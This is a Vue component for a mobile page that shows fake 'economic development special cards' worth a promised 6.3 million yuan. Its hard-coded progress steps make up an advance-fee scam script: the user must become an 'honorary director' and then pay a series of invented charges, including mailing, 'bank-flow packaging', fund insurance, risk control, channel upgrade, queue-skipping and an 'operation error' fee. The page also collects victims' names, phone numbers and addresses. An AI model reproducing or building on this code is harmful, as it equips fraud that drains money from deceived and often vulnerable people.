<template> <div class="cards-page"> <van-tabs v-model:active="active" @click-tab="onClickTab"> <van-tab :name="2" title="本人申请"></van-tab> <van-tab :name="1" title="替他人申请"></van-tab> </van-tabs> <div class="content-wrap" v-if="cardList.length"> <var-collapse v-model="activeCard" accordion :offset="false"> <var-collapse-item title="经济发展专项卡" :name="card.id" v-for="(card, index) in cardList" :key="card.id" > <div class="card-wrapper"> <div class="card-main" :class="`card-theme-${index + 1}`"> <!-- 卡片头部 --> <div class="card-header"> <div class="card-amount"> <span class="amount-label">卡内财产:</span> <span class="amount-value">¥{{ card.a4 }}</span >元人民币 </div> </div> <!-- 卡片信息 --> <div class="card-info"> <div class="info-item"> <span class="label">申请类型:</span> <span class="value">{{ card.a1 != 2 ? "本人申请" : "替他人申请" }}</span> </div> <div class="info-item"> <span class="label">申请人:</span> <span class="value">{{ card.a2 }}</span> </div> </div> <!-- 进度步骤 --> <div class="progress-section"> <div class="progress-title"> <var-icon name="chart-timeline" color="#333" /> <span>办理进度</span> <div v-if="card.a6 > 4" class="collapse-btn" @click.stop="toggleCardSteps(card)" > {{ card.isExpanded ? "收起详细步骤" : "展开详细步骤" }} <van-icon :name="card.isExpanded ? 'arrow-up' : 'arrow-down'" /> </div> </div> <var-steps direction="vertical" :active="Number(card.a6)" active-color="red" > <var-step v-for="(step, stepIndex) in getVisibleSteps(card)" :key="stepIndex" > <div class="step-content"> <div class="step-main"> <div class="step-text"> {{ step.amount == 2 ? getStepText(step, card) : step.text }} </div> </div> <div class="step-action" v-if="step.amount"> <var-button size="small" :class="getClassName(step, card)" > <span v-if="step.amount == 1" @click="handlePay(step, card)" > {{ card.a7 >= 2 ? "已成为荣誉董事" : "成为荣誉董事" }} </span> <span v-if="step.amount == 2" @click="handlePay(step, card)" > {{ card.a7 == 3 ? "前往填写邮寄地址" : "查看邮寄地址" }} </span> <span v-if="step.amount == 3" @click="handlePay(step, card)" > {{ card.a7 == 5 ? "立即前往激活" : "已免费激活" }} </span> <span v-if="step.amount == 4" @click="handlePay(step, card)" > {{ card.a7 == 7 ? "前往包装流水" : "包装流水成功" }} </span> </var-button> </div> </div> </var-step> </var-steps> </div> </div> </div> </var-collapse-item> </var-collapse> </div> <div v-else class="empty-state"> <van-empty description="暂无卡片数据"> <template #image> <var-icon name="credit-card-off" size="64" color="#999" /> </template> </van-empty> </div> <pay-up ref="payUpRef" /> <van-popup v-model:show="showConfirmModal" position="bottom" :style="{ padding: '20px' }" > <div class="confirm-popup-content"> <div class="title">请确认填写的信息</div> <div class="subtitle"> 请仔细确认填写的信息,确认无误后点击确认提交,一旦提交,信息将无法修改 </div> <div class="info"> <p> 邮寄人姓名:<span>{{ formData.a9 }}</span> </p> <p> 邮寄人手机号:<span>{{ formData.a10 }}</span> </p> <p> 邮寄目标地址:<span>{{ formData.a11 }}</span> </p> </div> <div class="btnwarp"> <van-button style="background: #fff; color: #000; border: 1px solid #3a9256" block type="default" @click="showConfirmModal = false" >取消</van-button > <van-button block type="primary" @click="submitForm" >确认提交</van-button > </div> </div> </van-popup> <van-popup v-model:show="showModal" position="bottom" :style="{ padding: '20px 0px 100px' }" > <div class="popup-content"> <div class="title">填写邮寄信息</div> <van-field label-width="100px" :readonly="showCardInfo.a7 >= 4" v-model="formData.a9" label="邮寄人姓名:" placeholder="请输入姓名" /> <van-field label-width="100px" :readonly="showCardInfo.a7 >= 4" v-model="formData.a10" label="邮寄人手机号:" placeholder="请输入手机号" /> <van-field label-width="100px" rows="2" autosize maxlength="100" show-word-limit :readonly="showCardInfo.a7 >= 4" v-model="formData.a11" label="邮寄目标地址:" placeholder="请输入地址" type="textarea" /> </div> <van-button v-if="showCardInfo.a7 < 4" style="width: 70%; margin: 0 auto; background: #3a9256; border: 0" type="primary" block @click="openConfirmModal" >提交邮寄信息</van-button > </van-popup> <van-popup v-model:show="showModal1" position="bottom" :style="{ padding: '20px 0px 100px' }" > <div class="title">填写邮寄信息</div> <van-field label-width="100px" :readonly="showCardInfo.a7 >= 4" v-model="formData.a9" label="邮寄人姓名:" placeholder="请输入姓名" /> <van-field label-width="100px" :readonly="showCardInfo.a7 >= 4" v-model="formData.a10" label="邮寄人手机号:" placeholder="请输入手机号" /> <van-field label-width="100px" rows="2" autosize maxlength="100" show-word-limit :readonly="showCardInfo.a7 >= 4" v-model="formData.a11" label="邮寄目标地址:" placeholder="请输入地址" type="textarea" /> </van-popup> </div> </template> <script setup lang="ts"> import { ref, onMounted } from "vue"; import request from "@/utils/request"; import payUp from "@/components/payUp.vue"; import { useRouter } from "vue-router"; const userInfo = ref({}); const getUserInfo = async () => { const res: any = await request.get("/business/businessWallet/getInfo"); userInfo.value = res.result; }; getUserInfo(); const router = useRouter(); const activeCard = ref<string>(""); const showModal = ref(false); const showModal1 = ref(false); const showConfirmModal = ref(false); // 新增确认弹窗状态 const formData = ref({ a9: "", a10: "", a11: "", a12: 2, a7: 4, a6: 4, }); interface CardStep { text: string; amount?: number; } interface Card { id: string; a1: number; a2: string; a3: string; a4: string; a6: number; a7: number; isExpanded?: boolean; } const getClassName = (step: CardStep, card: Card) => { if (step.amount == 1) { return card.a7 >= 2 ? "pay-btn" : "pay-btn redwarp"; } if (step.amount == 2) { return card.a7 == 3 ? "pay-btn redwarp" : "pay-btn"; } if (step.amount == 3) { return card.a7 == 5 ? "pay-btn redwarp" : "pay-btn"; } if (step.amount == 4) { return card.a7 == 7 ? "pay-btn redwarp" : "pay-btn"; } return ""; }; const showCardInfo = ref({}); const getSteps = (card: Card) => { let steps = stepsBase.filter((_, index) => index <= card.a6); // steps.push({ text: '等待收款' }) return steps; }; const cardList = ref<Card[]>([]); const cardListAll = ref<Card[]>([]); const payUpRef = ref<any>(null); const active = ref(2); const onClickTab = (tab: any) => { tab.name == 1 ? (cardList.value = cardListAll.value.filter((item: any) => item.a1 == 2)) : (cardList.value = cardListAll.value.filter((item: any) => item.a1 != 2)); }; const getStepText = (step: CardStep, card: Card) => { if (userInfo.value?.sysUser?.a9 == 2) { return step.text; } else { if (step?.amount == 2 && card?.a12 != 2) { return "您的专项卡已免费完成制作!请缴纳邮寄费用!"; } else { return step.text; } } }; // 步骤配置 const stepsBase: CardStep[] = [ { text: "您的申报已提交审核,请耐心等待结果!" }, { text: "您的审核已通过,成为荣誉董事可开始免费制卡", tips: "成为荣誉董事", amount: 1, }, { text: "恭喜您成为荣誉董事,您的专项卡正在免费制作中!" }, { text: "您的专项卡已完成制作,(请截图分享荣誉)", amount: 2 }, { text: "正在邮寄中,请保持电话畅通" }, { text: "线上免费激活", amount: 3 }, { text: "恭喜您成功激活,等待入款" }, { text: "入款失败,银行卡流水异常" }, { text: "需要完成包装流水,即可入款", amount: 4, tips: "包装流水费用" }, { text: "630万专项卡正在汇入中" }, { text: "正在入款,资金保险", amount: 500, tips: "资金保险费用" }, { text: "保险缴纳成功,等待到账" }, { text: "财产遭风险控制,确认本人收款", amount: 500, tips: "财产遭风险控制费用", }, { text: "重新汇入" }, { text: "升级通道,为财产保驾护航", amount: 500, tips: "升级通道费用" }, { text: "陆续到账中,请等待" }, { text: "免排队,立即到帐", amount: 800, tips: "免排队费用" }, { text: "正在加急打款" }, { text: "操作不当,资料丢失", amount: 300, tips: "操作不当费用" }, { text: "等待入款" }, ]; const handlePay = (step: CardStep, card: Card) => { showCardInfo.value = card; if (step.amount == 1) { if (card.a7 > 2) { showToast("您已成为荣誉董事,无需再次成为荣誉董事!"); return false; } if (card.a7 != 2) { router.push("/ryds"); } } if (step.amount == 2) { if (card.a7 == 3) { formData.value.a9 = ""; formData.value.a10 = ""; formData.value.a11 = ""; formData.value.a7 = 4; showModal.value = true; } if (card.a7 == 4) { formData.value.a9 = card.a9; formData.value.a10 = card.a10; formData.value.a11 = card.a11; showModal.value = true; } } if (step.amount == 3) { if (card.a7 == 5) { router.push(`/kpsl/cardActive?id=${card.id}`); return false; } } if (step.amount == 4) { if (card.a7 == 7) { payUpRef.value.open({ amount: 1000, payTitle: "包装流水费用", payType: 3, a1: card.id, }); } } }; const openConfirmModal = () => { if ( formData.value.a9 == "" || formData.value.a10 == "" || formData.value.a11 == "" ) { showFailToast("请填写完整的邮寄信息!"); return; } showConfirmModal.value = true; // 打开确认弹窗 }; const submitForm = async () => { if (userInfo.value?.sysUser?.a9 == 3) { payUpRef.value.open({ amount: 200, payTitle: "邮寄费用", payType: 2, a1: activeCard.value, a2: formData.value.a9, a3: formData.value.a10, a4: formData.value.a11, needPassword: false, }); return false; } try { await request.put(`/business/businessYw1/editByU`, { id: activeCard.value, ...formData.value, }); showModal.value = false; showConfirmModal.value = false; // 提交后关闭确认弹窗 active.value = 2; showSuccessToast("填写邮寄地址成功!"); fetchCardList(); getUserInfo(); } catch (error) { console.error("更新邮寄地址失败:", error); } }; const fetchCardList = async () => { try { const res = await request.get("/business/businessYw1/listByU"); if (res?.result?.records) { cardListAll.value = res.result.records.map((card: any) => ({ ...card, isExpanded: false, mainStep: parseInt(card.a3) || 0, paySteps: parseInt(card.a4) || 0, })); activeCard.value = cardList.value[0]?.id; cardList.value = cardListAll.value.filter((item: any) => item.a1 != 2); } } catch (error) { console.error("获取卡片列表失败:", error); } }; onMounted(() => { fetchCardList(); }); // 添加新的计算方法 const getVisibleSteps = (card: Card) => { const steps = getSteps(card); if (card.isExpanded) { return steps; } // 只显示前两个和后两个步骤 if (steps.length <= 4) { return steps; } return [ ...steps.slice(0, 2), { text: `...展开 ${steps.length - 4} 个步骤`, isPlaceholder: true, }, ...steps.slice(-2), ]; }; // 添加切换单个卡片展开状态的方法 const toggleCardSteps = (card: Card) => { card.isExpanded = !card.isExpanded; }; </script> <style scoped lang="scss"> .cards-page { height: inherit; overflow: auto; background: url("@/static/cbg1.png") no-repeat center center; background-size: 100% 100%; } .card-wrapper { margin-bottom: 20px; max-width: 800px; margin-left: auto; margin-right: auto; } ::v-deep .var-step__vertical-content { flex: 1; } .card-main { background: white; border-radius: 12px; box-shadow: 0 2px 12px rgba(0, 0, 0, 0.06); overflow: hidden; border: 1px solid rgba(0, 0, 0, 0.05); // 三种卡片主题 &.card-theme-1 { .card-header { background: linear-gradient(135deg, #dbf6cc 0%, #c5edb2 100%); } .pay-btn { background: #8bc34a; } .redwarp { background: red; } } &.card-theme-2 { .card-header { background: linear-gradient(135deg, #c5edb2 0%, #aad696 100%); } .pay-btn { background: #7cb342; } .redwarp { background: red; } } &.card-theme-3 { .card-header { background: linear-gradient(135deg, #aad696 0%, #8bc34a 100%); } .pay-btn { background: #689f38; } .redwarp { background: red; } } } .card-header { padding: 20px; color: #333; .card-title { display: flex; align-items: center; gap: 8px; font-size: 18px; font-weight: 600; margin-bottom: 12px; } .card-amount { .amount-label { font-size: 14px; opacity: 0.7; margin-right: 8px; } .amount-value { font-size: 24px; font-weight: 600; color: red; } } } .card-info { padding: 16px 20px; background: rgba(219, 246, 204, 0.1); .info-item { display: flex; margin-bottom: 8px; &:last-child { margin-bottom: 0; } .label { color: #666; font-size: 14px; } .value { color: red; font-weight: 500; } } } .progress-section { padding: 10px; .progress-title { display: flex; align-items: center; gap: 8px; font-size: 16px; font-weight: 600; color: #333; margin-bottom: 20px; .collapse-btn { margin-left: auto; color: #3a9256; cursor: pointer; display: flex; align-items: center; gap: 4px; font-size: 14px; font-weight: normal; padding: 4px 8px; border-radius: 4px; background: rgba(58, 146, 86, 0.1); &:hover { background: rgba(58, 146, 86, 0.15); } .van-icon { font-size: 12px; } } } } .steps-wrapper { position: relative; padding-left: 16px; &::before { content: ""; position: absolute; left: 8px; top: 0; bottom: 0; width: 1px; background: #e4e7ed; } } .step-item { position: relative; padding-bottom: 24px; &:last-child { padding-bottom: 0; } .step-marker { position: absolute; left: -12px; width: 8px; height: 8px; border-radius: 50%; background: #e4e7ed; border: 2px solid #fff; z-index: 1; } &.completed { .step-marker { background: #8bc34a; } } &.current { .step-marker { background: #dbf6cc; width: 12px; height: 12px; left: -14px; border: 2px solid #8bc34a; } } } .step-content { margin-left: 16px; display: flex; justify-content: space-between; align-items: flex-start; padding: 4px 0; } .step-main { flex: 1; padding-right: 16px; .step-text { font-size: 14px; color: #333; margin-bottom: 4px; line-height: 1.4; } .step-fee { font-size: 13px; color: #666; .fee-amount { color: #8bc34a; font-weight: 500; } } } .step-action { .pay-btn { border: none; padding: 6px 16px; border-radius: 16px; font-size: 13px; color: white; } .redwarp { background: red; } .status-completed { font-size: 13px; color: #8bc34a; padding: 6px 12px; } } .empty-state { display: flex; justify-content: center; align-items: center; min-height: 60vh; } .popup-content { padding: 20px 0; .title { font-size: 18px; text-align: center; margin-bottom: 20px; color: #000; } } .confirm-popup-content { padding: 20px; .title { font-size: 18px; margin-bottom: 20px; color: #333; text-align: center; } .subtitle { color: red; } .info { margin-bottom: 20px; font-size: 16px; color: #666; p { margin: 5px 0; } span { color: red; } } .btnwarp { display: flex; justify-content: space-between; .van-button { width: 45%; background: #3a9256; border: 0; color: #fff; } } } .card-list-controls { padding: 10px 20px; display: flex; justify-content: flex-end; background: rgba(255, 255, 255, 0.8); position: sticky; top: 0; z-index: 1; .collapse-btn { color: #3a9256; cursor: pointer; display: flex; align-items: center; gap: 4px; font-size: 14px; padding: 6px 12px; border-radius: 4px; background: rgba(58, 146, 86, 0.1); &:hover { background: rgba(58, 146, 86, 0.15); } .van-icon { font-size: 12px; } } } // 添加占位步骤的样式 .step-text { &.placeholder { color: #999; font-style: italic; } } </style>